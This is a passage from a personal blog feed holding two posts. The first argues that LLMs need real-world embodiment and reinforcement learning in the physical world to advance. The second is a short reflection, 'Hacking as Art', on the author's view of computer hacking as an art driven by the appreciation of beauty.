<p>Imagine an LLM guiding a robot around a room, and most importantly, <strong>understanding what went wrong</strong> when the robot steps over the cat’s tail and the poor creature jumps on the curtains and destroys grandma’s old lamp as it lands on the table. Now imagine an LLM doing this a million times until it “learns”<sup id="fnref:2" role="doc-noteref"><a href="#fn:2" class="footnote" rel="footnote">2</a></sup>. You’ll need a million lamps, a million tables, a lot of angry cats and robots that can be rebuilt quickly - and it will still take a very long time. This is engineering at its core - tinker until it works, then figure out why, and optimise.</p>

<p>It’s very hard to define “intelligence”. Personally, I think it’s something like trying to describe the “wetness” of water or the “snowiness” of snow to someone that never experienced it.</p>

<p>If you watch a robot controlled solely through language by an LLM, I can guarantee that you won’t call it “intelligent” even after just a few minutes. At best, it will look clunky and funny, at worst, useless and dangerous. I’m not talking about watching a video of military machines dancing in a controlled environment, but trusting a heavy clunk of metal “improvise” in your living room (remove the cat first).</p>

<p>In other words, <strong>without real-world interaction, a mere language model will forever lack the tools not only to become “true AGI”, but have a dent in all meaningful parts of society that involve the physical</strong> - farming, elderly and childcare, transportation, manufacturing, and so forth.</p>

<h2 id="but-we-have-self-driving-cars-and-dog-robots-and-drones">But we have self-driving cars and dog robots and drones.</h2>

<p>All the commercial and military robots you see today still follow the “human in the loop” approach. They need to be <strong>reliable</strong>. From cars to drones, they are built as a series of control loops designed top-down, with a lot of “safety controls”. Modern robots are conceptually identical to nuclear power plants,  aeroplanes, or chemical plants - a lot of sensors and loops and very precise programming parameters. Everything is predetermined and expected to stay within tolerance, or the system will gracefully stop. This is what we need to know before we board a flight.</p>

<p>It is also the fundamental difference with the “evolving” approach. We <strong>evolved to adapt to any<sup id="fnref:3" role="doc-noteref"><a href="#fn:3" class="footnote" rel="footnote">3</a></sup> input our sensors can perceive</strong>, and react based on <strong>likelihood</strong> of neurons firing. That’s the key - we evolved alongside our “sensors” (sight, touch, smell, proprioception, etc.) as they, in turn, evolved to deal with the environment that was at hand.</p>

<p>Nobody in their right mind would “evolve” a nuclear power plant that works based on “probabilities”. Control engineering has a well-defined role and gave us amazing technological progress; however, it cannot take us to true AGI. We need to stop thinking we’re smarter than evolutionary pressure.</p>

<p>I am fully aware that there are plenty of academic projects of “evolving” robots and they are truly fascinating; but none has had any serious engineering effort applied to it. Similarly, reinforcement learning and the ideas behind LLMs have been known in academia for years - but we just didn’t have the technology to implement it on a large scale.</p>

<p>Now it is the time to apply our engineering efforts to these research projects - to make evolutionary robotics resilient and allowing for quick iterations, much like the Wright brothers did when they were building their aeroplane prototypes. The next startup that will bring this to market will make billions.</p>

<p>Robotics is hard. Sensors, inputs, force feedback even more so. While it’s nice we can live a lot of our lives in a digital virtual world of software, abstract ideas and mobile apps, for AI to truly impact our way of life we need to let it play with the “real” world and its complexities.</p>

<h2 id="conclusions">Conclusions</h2>

<p>Reinforcement learning and evolutionary algorithms, coupled with the right amount of computing power have brought us LLMs. If we want to take this concept and bring it to the next level, we must find how to apply it to the physical world - to bring embodiment into the picture - without mandating our human-centered view of “how it should work”. We need a self-correcting, reinforcement loop directly engaging with the physical. We need to put a “brain” into a “body” and let them engage with the “environment”, in a guided fashion first.</p>

<p>If you ever engaged with babies, this might sound very familiar.</p>

<div class="footnotes" role="doc-endnotes">
  <ol>
    <li id="fn:1" role="doc-endnote">
      <p>Every time I see “just” in a sentence, my reaction is to think “you don’t understand the complexity of what you’re talking about”. It’s never, ever “just”. <a href="#fnref:1" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:2" role="doc-endnote">
      <p>Don’t hurt any cats, please. <a href="#fnref:2" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:3" role="doc-endnote">
      <p>While it is true that our bodies require certain conditions to function, they do not need their “inputs” to be precisely defined. We use homeostasis to maintain working conditions - perhaps this can be defined as a very complex control loop, but at an organism level that’s an oversimplification. <a href="#fnref:3" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
  </ol>
</div>]]></content><author><name>Lorenzo</name></author><category term="LLM" /><category term="Embodiment" /><category term="Robotics" /><summary type="html"><![CDATA[Large Language Models are amazing but the next step towards an acceptable AGI needs actual interaction with the real world. This will take longer than we think.]]></summary></entry><entry><title type="html">Hacking as Art</title><link href="https://lorenzog.github.io/2024/10/26/hacking_as_art.html" rel="alternate" type="text/html" title="Hacking as Art" /><published>2024-10-26T00:00:00+00:00</published><updated>2024-10-26T00:00:00+00:00</updated><id>https://lorenzog.github.io/2024/10/26/hacking_as_art</id><content type="html" xml:base="https://lorenzog.github.io/2024/10/26/hacking_as_art.html"><![CDATA[<p>Reading “Zen and the Art of Motorcycle Maintenance”, p.98:</p>

<blockquote>
  <p>The selfish climber does it to prove themselves. The selfless climber
does it to appreciate the beauty of every step, of every leaf and
moment. They do it in tune with the moutain and the moment.</p>
</blockquote>

<p>I’m a computer hacker.</p>

<p>I always thought hacking was purely a technical challenge, a matter of
cold knowledge and experience. Then it became a job, what pays the bills
and gives me some form of satisfaction.</p>

<p>But that’s not the whole picture.</p>

<p>I came to the realisation that deep down, what I want to do, what drives
me, is appreciation of beauty.</p>

<p>I admire hacking in its purest form. When I stumble upon a masterpiece -
someone’s clever piece of work - I strive to appreciate its beauty; I
must have enough knowledge to understand its cleverness, and I will use
this newly acquired knowledge for my own creations.</p>

<p>I don’t want to make a generalisation; I don’t want to say, “true
hackers are those who-“ and start drawing circles and putting up
barriers and complain about what others don’t do. However, I know what
works forme - and what drives me is the joy of overcoming barriers, the sense of
achievement of an exploit well done, of controlling execution, of
bending a program to do something powerful that was not in its original
designer’s mind.</p>

<p>The ultimate goal is the exploit, but the real beauty is in the
creation, and like a selfless climber, the contemplation of each step of
the journey.</p>

<p>In Neuromancer, William Gibson defines the protagonist as an “artiste”.
This was before hacking became a definition.</p>

<p>I am an artist. My art is creation of solutions to interesting problems.
I seek beauty; be it the logical beauty of code, or cleverness of
reasoning, or quality of exploitation. I can’t do what I don’t
understand, because to me, understanding is searching for meaning.</p>

<p>Hacking is art, my art.</p>

<hr />

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>hacking

art

beauty
</code></pre></div></div>]]></content><author><name>Lorenzo</name></author><category term="hacking" /><category term="art" /><category term="beauty" /><summary type="html"><![CDATA[Appreciating beauty, and hacking as an artform.]]></summary></entry></feed>